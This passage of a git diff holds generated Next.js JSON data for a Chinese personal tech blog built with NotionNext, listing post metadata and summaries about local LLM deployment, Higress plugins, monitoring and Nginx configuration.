文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"将进酒","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🗒️","lastEditedDate":"2024-04-06T03:31:44.998Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":15},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":3},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":8},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":2},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":9},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","name":"运维","color":"gray","count":3},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","name":"linux","color":"orange","count":1},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","name":"脚本","color":"orange","count":1},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","name":"面试","color":"yellow","count":5},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","name":"go","color":"gray","count":2}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":16},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","name":"万里长征","color":"green","count":5}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"2021-3-13","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"2023-3-23","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":24,"latestPosts":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","date":{"start_date":"2024-12-06","date_format":"relative"},"type":"Post","slug":"article/241206-rdk","title":"地瓜RDK X5上手ollama大模型测试","status":"Published","category":"","publishDate":1733443200000,"publishDay":"2024-12-6","lastEditedDate":"2024-12-06T09:25:20.578Z","lastEditedDay":"2024-12-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","tagItems":[],"password":""},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","date":{"start_date":"2024-08-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240810-minicpm2.6","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","status":"Published","publishDate":1723248000000,"publishDay":"2024-8-10","lastEditedDate":"2024-12-05T02:07:11.171Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","tagItems":[{"name":"折腾","color":"purple"}],"password":""},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","date":{"start_date":"2024-11-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241110-tos-plugin","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","title":"开发Maven插件:实现打包后上传tos云服务","status":"Published","publishDate":1731196800000,"publishDay":"2024-11-10","lastEditedDate":"2024-11-10T09:10:56.856Z","lastEditedDay":"2024-11-10","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","tagItems":[{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""}],"posts":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","date":{"start_date":"2024-12-06","date_format":"relative"},"type":"Post","slug":"article/241206-rdk","title":"地瓜RDK X5上手ollama大模型测试","status":"Published","category":"","publishDate":1733443200000,"publishDay":"2024-12-6","lastEditedDate":"2024-12-06T09:25:20.578Z","lastEditedDay":"2024-12-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","tagItems":[],"password":""},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","date":{"start_date":"2024-11-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241110-tos-plugin","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","title":"开发Maven插件:实现打包后上传tos云服务","status":"Published","publishDate":1731196800000,"publishDay":"2024-11-10","lastEditedDate":"2024-11-10T09:10:56.856Z","lastEditedDay":"2024-11-10","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","tagItems":[{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"}],"password":""},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","date":{"start_date":"2024-08-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240810-minicpm2.6","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","status":"Published","publishDate":1723248000000,"publishDay":"2024-8-10","lastEditedDate":"2024-12-05T02:07:11.171Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","tagItems":[{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","date":{"start_date":"2024-06-26","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240626-demo","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","title":"天池大赛Higress插件官方demo详细部署+调试","status":"Published","publishDate":1719360000000,"publishDay":"2024-6-26","lastEditedDate":"2024-06-28T08:12:44.310Z","lastEditedDay":"2024-6-28","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","tagItems":[{"name":"推荐","color":"red"},{"name":"go","color":"gray"},{"name":"折腾","color":"purple"}],"password":""},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","date":{"start_date":"2024-06-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240625-higress","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","title":"Java程序员学习Go开发Higress的WASM插件","status":"Published","publishDate":1719273600000,"publishDay":"2024-6-25","lastEditedDate":"2024-06-26T04:54:09.169Z","lastEditedDay":"2024-6-26","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"},{"name":"docker","color":"gray"},{"name":"go","color":"gray"}],"password":""},{"id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","date":{"start_date":"2024-05-25","date_format":"relative"},"type":"Post","category":"万里长征","slug":"article/240525-LM-04","tags":["面试"],"summary":"脉脉面试题","title":"万里长征-04-脉脉","status":"Published","publishDate":1716595200000,"publishDay":"2024-5-25","lastEditedDate":"2024-06-26T04:59:08.858Z","lastEditedDay":"2024-6-26","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[{"name":"面试","color":"yellow"}],"password":""},{"id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","date":{"start_date":"2024-04-29","date_format":"relative"},"type":"Post","category":"万里长征","slug":"article/240429-LM-fox","tags":["面试"],"summary":"搜狐面试题","title":"万里长征-03-搜狐","status":"Published","publishDate":1714348800000,"publishDay":"2024-4-29","lastEditedDate":"2024-05-25T02:20:00.057Z","lastEditedDay":"2024-5-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[{"name":"面试","color":"yellow"}],"password":""},{"id":"146219e7-c178-4485-b223-22f4b977333c","date":{"start_date":"2024-04-29","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240429-prometheus","tags":["推荐","运维"],"summary":"包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控","title":"Prometheus+Grafana多方位监控","status":"Published","publishDate":1714348800000,"publishDay":"2024-4-29","lastEditedDate":"2024-04-29T03:07:56.545Z","lastEditedDay":"2024-4-29","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","pageCoverThumbnail":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","tagItems":[{"name":"推荐","color":"red"},{"name":"运维","color":"gray"}],"password":""},{"id":"71879fde-4992-4276-9767-ac5bd71e4058","date":{"start_date":"2024-04-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240425-nginx","tags":["运维","工具"],"summary":"nginx密码访问,prometheus,安全限制等","title":"Nginx配置备忘录","status":"Published","publishDate":1714003200000,"publishDay":"2024-4-25","lastEditedDate":"2024-04-24T16:37:04.342Z","lastEditedDay":"2024-4-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","pageCoverThumbnail":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","tagItems":[{"name":"运维","color":"gray"},{"name":"工具","color":"pink"}],"password":""}]},"__N_SSG":true} \ No newline at end of file diff --git a/_next/data/76RZ7NVoSbfF1EgLzbeEj/page/2.json b/_next/data/76RZ7NVoSbfF1EgLzbeEj/page/2.json new file mode 100644 index 000000000..d7a00d570 --- /dev/null +++ b/_next/data/76RZ7NVoSbfF1EgLzbeEj/page/2.json @@ -0,0 +1 @@ +{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","title":"地瓜RDK X5上手ollama大模型测试","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","category":null,"tags":null,"summary":null,"slug":"article/241206-rdk","pageIcon":"🗒️","lastEditedDate":"2024-12-06T09:25:20.578Z"},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","title":"多模态视频大模型Aria在Docker部署","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","category":"技术分享","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","slug":"article/241205-aria","pageIcon":"🗒️","lastEditedDate":"2024-12-05T07:43:49.973Z"},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","title":"开发Maven插件:实现打包后上传tos云服务","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","category":"技术分享","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","slug":"article/241110-tos-plugin","pageIcon":"🗒️","lastEditedDate":"2024-11-10T09:10:56.856Z"},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","category":"技术分享","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","slug":"article/240810-minicpm2.6","pageIcon":"🗒️","lastEditedDate":"2024-12-05T02:07:11.171Z"},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","title":"LAVIS在Mac,M1PRO芯片下的安装实战","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","category":"技术分享","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","slug":"article/240806-lavis","pageIcon":"🗒️","lastEditedDate":"2024-08-06T07:08:06.450Z"},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","title":"Iphone Mirroring圆了我AI打DNF手游的梦","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","category":"技术分享","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","slug":"article/240725-ai","pageIcon":"🗒️","lastEditedDate":"2024-07-25T15:39:43.435Z"},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","title":"天池大赛Higress插件官方demo详细部署+调试","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","category":"技术分享","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","slug":"article/240626-demo","pageIcon":"🗒️","lastEditedDate":"2024-06-28T08:12:44.310Z"},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","title":"Java程序员学习Go开发Higress的WASM插件","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","category":"技术分享","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair 